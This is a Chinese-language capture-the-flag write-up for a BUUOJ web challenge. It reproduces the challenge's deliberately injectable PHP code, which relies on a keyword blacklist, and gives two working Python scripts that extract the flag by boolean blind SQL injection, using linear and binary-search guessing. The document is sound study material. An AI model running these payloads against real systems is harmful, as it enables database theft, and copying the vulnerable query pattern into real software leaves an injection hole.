比賽結束以后采用非官方復現平台做的題,和比賽題有輕微不同,比賽中存放flag的table是ctf,這里是flag。
題目地址
buuoj.cn
解題過程
題目中只有一個頁面,需要提交id。
id為1,2時,可以分別得到一句話。id為0時,顯示error,可能是因為結果為空集。
id=1
Hello, glzjin wants a girlfriend.
id=2
Do you want to be my girlfriend?
id提交為單引號返回false,填入空格會直接顯示SQL Injection Checked。這說明id除有過濾,空格被過濾了,但是單引號沒過濾。
嘗試用Tab代替空格,發現可以。
接下來根據題目中的提示構造payload:
1 union select flag from flag
被過濾了,直接輸入一個
1 union
也會被過濾
這說明union也被過濾了。最后測試發現select和from,括號沒有被過濾可以考慮使用函數。
有幸找到了這題的源碼,在這里放一下,看看究竟過濾了啥。
<?php
$dbuser='root';
$dbpass='root';
function safe($sql){
#被過濾的內容 函數基本沒過濾
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
}
if(isset($_POST['id'])){
$id = $_POST['id'];
}else{
die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
die(mysql_error());
}
mysql_select_db("ctf",$db);
if(safe($id)){
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
if($query){
$result = mysql_fetch_array($query);
if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
}else{
var_dump($query);
}
}else{
die("SQL Injection Checked.");
}
接下來就想辦法借助函數構造注入就可以了。思路有很多,看過北郵大佬寫的延時注入,這里說一下我的思路。
借助substr函數截取flag中的內容,長度依次增加。
用if函數判斷截取出來的內容是什么,這里需要窮舉。如果判斷成功,返回1,否則返回2。
exp
import requests
import time
url = "http://web43.node1.buuoj.cn/index.php"
data = {"id":""}
flag = 'flag{'
length = 5
while True:
#直接從數字開始猜
for i in range(48,127):
#復現平台有waf,一秒只能訪問一次
time.sleep(1)
#繞過一些過濾字符
if i in [38,42,43,45,59,96]:
continue
data["id"] = "if(substr((select flag from flag),1,{})='{}',1,2)".format(length+1,flag+chr(i))
r = requests.post(url,data=data)
#返回1
if 'Hello' in r.text:
flag+=chr(i)
length+=1
print(flag)
break
if flag[-1]=='}':
break
這個腳本有點慢,畢竟一個個的猜。如果想快一點,猜的時候可以考慮每次猜一個字符,使用二分法。
下面這段代碼稍微改了一下判斷的規則,判斷ascii碼。這樣做的好處是如果遇到過濾字符也能得到結果,如果按照最初始的版本,假設flag中包含-,那就gg了。
import requests
import time
#url是隨時更新的,具體的以做題時候的為准
url = 'http://40c9be7a-36f0-4e80-94ca-d1ac9e121947.node1.buuoj.cn/index.php'
data = {"id":""}
flag = 'flag{'
i = 6
while True:
#從可打印字符開始
begin = 32
end = 126
tmp = (begin+end)//2
while begin<end:
print(begin,tmp,end)
time.sleep(1)
data["id"] = "if(ascii(substr((select flag from flag),{},1))>{},1,2)".format(i,tmp)
r = requests.post(url,data=data)
if 'Hello' in r.text:
begin = tmp+1
tmp = (begin+end)//2
else:
end = tmp
tmp = (begin+end)//2
flag+=chr(tmp)
print(flag)
i+=1
if flag[-1]=='}':
break
最后得到了flag。